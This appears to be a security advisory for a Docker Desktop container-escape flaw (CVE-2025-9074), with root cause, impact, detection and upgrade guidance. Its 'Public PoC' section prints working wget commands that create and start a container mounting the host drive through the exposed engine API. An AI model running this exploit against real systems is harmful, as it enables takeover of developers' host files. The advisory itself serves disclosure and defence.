Docker Desktop Container-to-Engine API Escape

Product: Docker Docker Desktop
CVE: CVE-2025-9074
Disclosed: 2025-08-20
CVSS: —
Auth: requires auth / interaction
CISA KEV: no
Affected: Docker Desktop 4.25 - 4.44.2 (Windows and macOS)
Fixed: 4.44.3

Summary

Felix Boulet found that any container running under Docker Desktop could reach the Docker Engine API on an internal subnet address with no authentication. From there it could start a privileged container that mounts the host's drive.

Root cause

Docker Desktop exposed the engine API at 192.168.65.7:2375 on its internal network, reachable from ordinary containers regardless of Enhanced Container Isolation or the 'expose daemon' setting. Any process in a container could create and start new containers with host bind mounts, e.g. /mnt/host/c on Windows/WSL.

Impact

Container escape to the developer's host files (and admin-level access on Windows WSL backends) from any malicious image or SSRF.

Public PoC

wget --header='Content-Type: application/json' \
  --post-data='{"Image":"alpine","Cmd":["sh","-c","echo pwned > /host_root/pwn.txt"],"HostConfig":{"Binds":["/mnt/host/c:/host_root"]}}' \
  -O - http://192.168.65.7:2375/containers/create > create.json
cid=$(cut -d'"' -f4 create.json)
wget --post-data='' -O - http://192.168.65.7:2375/containers/$cid/start

Source: Felix Boulet - qwertysecurity

Detection

Check Docker Desktop version; from a container, test whether http://192.168.65.7:2375/version responds.

Mitigation

Upgrade Docker Desktop to 4.44.3 or later.